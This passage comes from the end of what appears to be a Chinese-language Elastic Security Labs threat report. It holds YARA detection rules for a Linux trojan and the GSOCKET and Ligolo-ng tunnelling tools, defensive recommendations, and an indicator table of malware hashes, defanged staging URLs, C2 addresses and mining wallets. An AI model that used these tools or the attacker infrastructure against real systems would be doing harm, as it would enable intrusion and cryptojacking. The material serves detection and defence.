        arch = "x86"
        threat_name = "Linux.Trojan.Generic"
        reference = "https://www.elastic.co/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $enc1 = { 74 73 0A 1C 1A 54 1A 11 54 0C 18 43 59 5B 3A 11 0B 16 14 10 0C 14 5B }
        $enc2 = { 18 1A 1A 1C 09 0D 43 59 0D 1C 01 0D 56 11 0D 14 15 55 18 09 09 15 10 }
        $enc3 = { 18 1A 1A 1C 09 0D 54 15 18 17 1E 0C 18 1E 1C 43 59 0B 0C }
        $enc4 = { 34 16 03 10 15 15 18 56 4C 57 49 59 51 2E 10 17 1D 16 0E 0A 59 37 }
        $key = "yyyyyyyy"
    condition:
        1 of ($enc*) and $key
}

为了检测 GSOCKET 及其几个邻近工具,我们创建了以下签名:

rule Multi_Hacktool_Gsocket {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-23"
        os = "Linux, MacOS"
        arch = "x86"
        threat_name = "Multi.Hacktool.Gsocket"
        reference = "https://www.elastic.co/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $str1 = "gsocket: gs_funcs not found"
        $str2 = "/share/gsocket/gs_funcs"
        $str3 = "$GSOCKET_ARGS"
        $str4 = "GSOCKET_SECRET"
        $str5 = "GS_HIJACK_PORTS"
        $str6 = "sftp -D gs-netcat"
        $str7 = "GS_NETCAT_BIN"
        $str8 = "GSOCKET_NO_GREETINGS"
        $str9 = "GS-NETCAT(1)"
        $str10 = "GSOCKET_SOCKS_IP"
        $str11 = "GSOCKET_SOCKS_PORT"
        $str12 = "gsocket(1)"
        $str13 = "gs-sftp(1)"
        $str14 = "gs-mount(1)"
    condition:
        3 of them
}

最后,编写了以下签名来检测开源Ligolo-ng工具,因为我们有理由相信该工具在此次入侵过程中被使用。

rule Linux_Hacktool_LigoloNG {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-20"
        os = "Linux"
        arch = "x86"
        threat_name = "Linux.Hacktool.LigoloNG"
        reference = "https://www.elastic.co/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $a = "https://github.com/nicocha30/ligolo-ng"
        $b = "@Nicocha30!"
        $c = "Ligolo-ng %s / %s / %s"
    condition:
        all of them
}

防御建议

为了有效防御恶意软件活动并最大限度地降低入侵风险,实施多层次的安全方法至关重要。 以下是您应优先考虑的一些关键防御措施:

  1. 保持您的弹性检测规则更新并启用:确保您的安全工具(包括任何预构建的检测规则)都是最新的。 持续更新使您的系统能够检测最新的恶意软件签名和行为。
  2. 在 Elastic Defend 中启用预防模式:在预防模式下配置 Elastic Defend 以自动阻止已知威胁,而不仅仅是对其发出警报。 预防模式可确保主动防御恶意软件和漏洞。
  3. 监控警报和日志:定期监控警报、日志和服务器,查找任何可疑活动的迹象。 及早发现异常行为有助于防止小规模违规行为升级为全面入侵。
  4. 进行威胁搜寻:主动调查您的环境,寻找可能逃避检测的隐藏威胁。 威胁搜寻可以发现绕过传统安全措施的高级攻击和持续性恶意软件。
  5. 实施 Web 应用程序防火墙 (WAF) :使用 WAF 来阻止未经授权或恶意的流量。 正确配置的防火墙可以阻止许多常见的网络攻击。
  6. 强制执行 SSH 强身份验证:对 SSH 访问使用公钥/私钥身份验证,以防止暴力攻击。
  7. 编写安全代码:确保所有定制软件,尤其是 Web 服务器技术,都遵循安全编码实践。 聘请专业的安全审计员来审查您的代码可以帮助在漏洞被利用之前识别并减轻漏洞。
  8. 定期修补和更新系统:保持服务器、应用程序和软件的更新对于防御已知漏洞至关重要。 及时修补可以最大程度地降低遭受现成漏洞攻击的风险。

通过遵循这些建议,您可以显著减少攻击面并加强对持续或潜在恶意软件威胁的防御。

观察结果

本研究讨论了以下可观察的结果。 您可在此处以 STIX 或 ECS 格式下载这些内容。

Observable类型名称参考
72ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1fSHA-256系统dXCXMRIG
82c55c169b6cb5e348be6e202163296b2b5d80fff2be791c21da9a8b84188684SHA-256apache2apache2_解包
0fede7231267afc03b096ee6c1d3ded479b10ab235e260120bc9f68dd1fc54ddSHA-256apache2_upx_packedapache2_upx_packed
9ee695e55907a99f097c4c0ad4eb24ae5cf3f8215e9904d787817f1becb9449eSHA-256下载.shKAIJI 舞台
1cdfb522acb1ad0745a4b88f072e40bf9aa113b63030fe002728bac50a46ae79SHA-256linux_386凯基 x86
d0ef2f020082556884361914114429ed82611ef8de09d878431745ccd07c06d8SHA-256linux_amd64凯基 x64
ad36cf59b5eb08799a50e9aece6f12cdfe8620062606ac6684d3b4509acc681bSHA-256Linux_arm5 操作系统凯吉ARM5
792a84a5bc8530285e2f6eb997054edb3d43460a99a089468e2cf81b5fd5cde6SHA-256Linux_arm6 操作系统凯吉ARM6
e19fb249db323d2388e91f92ff0c8a7a169caf34c3bdaf4d3544ce6bfb8b88b4SHA-256Linux 操作系统凯基 ARM64
3847c06f95dd92ec482212116408286986bb4b711e27def446fb4a524611b745SHA-256Linux_arm7 操作系统凯吉ARM7
fffee23324813743b8660282ccd745daa6fb058f2bf84b9960f70d888cd33ba0SHA-256linux_mipsKAIJI MIPS
6d40b58e97c7b4c34f7b5bdac88f46e943e25faa887e0e6ce5f2855008e83f55SHA-256Linux 操作系统KAIJI MIPS64
0c3442b8c49844a1ee41705a9e4a710ae3c7cde76c69c2eab733366b2aa34814SHA-256linux_mips64elKAIJI MIPS64 小端
310973f6f186947cb7cff0e7b46b4645acdd71e90104f334caa88a4fa8ad9988SHA-256linux_mips_软浮点KAIJI MIPS 软浮点
0d24a2e7da52bad03b0bda45c8435a29c4e1c9b483e425ae71b79fd122598527SHA-256linux_mipselKAIJI MIPS 小端
36fc8eef2e1574e00ba3cf9e2267d4d295f6e9f138474e3bd85eb4d215f63196SHA-256linux_mipsel_softfloatKAIJI MIPS 小尾数软浮点
3c25a4406787cc5089e83e00350e49eb9f192d03d69e7a61b780b6828db1344fSHA-256linux_ppc64KAIJI PPC64
7c16149db7766c6fd89f28031aa123408228f045e90aa03828c02562d9f9d1d7SHA-256linux_ppc64elKAIJI PPC64 小端
09f935acbac36d224acfb809ad82c475d53d74ab505f057f5ac40611d7c3dbe7SHA-256l64_v0鲁德德维尔/路菲瑟 x64 版本 0
ea0068702ea65725700b1dad73affe68cf29705c826d12a497dccf92d3cded46SHA-256l64_v1鲁德德维尔/路菲瑟 x64 版本 1
160f232566968ade54ee875def81fc4ca69e5507faae0fceb5bef6139346496aSHA-256l64_v2鲁德德维尔/路菲瑟 x64 版本 2
89b60cedc3a4efb02ceaf629d6675ec9541addae4689489f3ab8ec7741ec8055SHA-256l64_v3鲁德德维尔/路菲瑟 x64 版本 3
20899c5e2ecd94b9e0a8d1af0114332c408fb65a6eb3837d4afee000b2a0941bSHA-256l86_v0RUDEDEVIL/LUFICER x86 版本 0
728dce11ffd7eb35f80553d0b2bc82191fe9ff8f0d0750fcca04d0e77d5be28cSHA-256l86_v1RUDEDEVIL/LUFICER x86 版本 1
47ceca049bfcb894c9a229e7234e8146d8aeda6edd1629bc4822ab826b5b9a40SHA-256l86_v2RUDEDEVIL/LUFICER x86 版本 2
e89f4073490e48aa03ec0256d0bfa6cf9c9ac6feb271a23cb6bc571170d1bcb5SHA-256l86_v3RUDEDEVIL/LUFICER x86 版本 3
d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60SHA-256hjvhg.exeMiner
54a5c82e4c68c399f56f0af6bde9fb797122239f0ebb8bcdb302e7c4fb02e1deSHA-256mvhhvcp3.exeDONUTLOADER
9e32be17b25d3a6c00ebbfd03114a0947361b4eaf4b0e9d6349cbb95350bf976SHA-256vdfgb.exeMiner
http://gcp.pagaelrescate[.]com:8080/ifindyouURLifindyou.sh阶段 1
http://gcp.pagaelrescate[.]com:8080/cycnetURLcycnet.sh阶段 2
http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slotURLEnviador_slot.py第 3 阶段
http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXCURL系统dXCXMRIG
http://38.54.125[.]192:8080/nginx-rcURLnginx-rcLIGOLO-NG
http://62.72.22[.]91/apache2URLapache2自定义恶意软件
http://62.72.22[.]91/apache2v86URLapache2v86自定义恶意软件
http://91.92.241[.]103:8002/gk.phpURLgk.phpPHP 后门
http://hfs.t1linux[.]com:7845/scdsshfkURLscdsshfkXMRIG
gcp.pagaelrescate[.]com域名REF 托管域名
nishabii[.]xyz域名鲁迪魔鬼 C2
3.147.53[.]183IPv4 地址Python 反向 Shell C2
38.54.125[.]192IPv4 地址C2 服务器
107.178.101[.]245IPv4 地址Malware File Server (Rejetto)
62.72.22[.]91IPv4 地址服务器托管恶意软件
91.92.241[.]103IPv4 地址C2 服务器
61.160.194[.]160IPv4 地址服务器托管恶意软件
41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHLXMR 钱包RUDEDEVIL/LUFICER 挖矿钱包
42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4PtcXMR 钱包RUDEDEVIL/LUFICER 挖矿钱包
1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBzBTC 钱包XMRIG挖矿钱包

参考资料

上述研究参考了以下内容: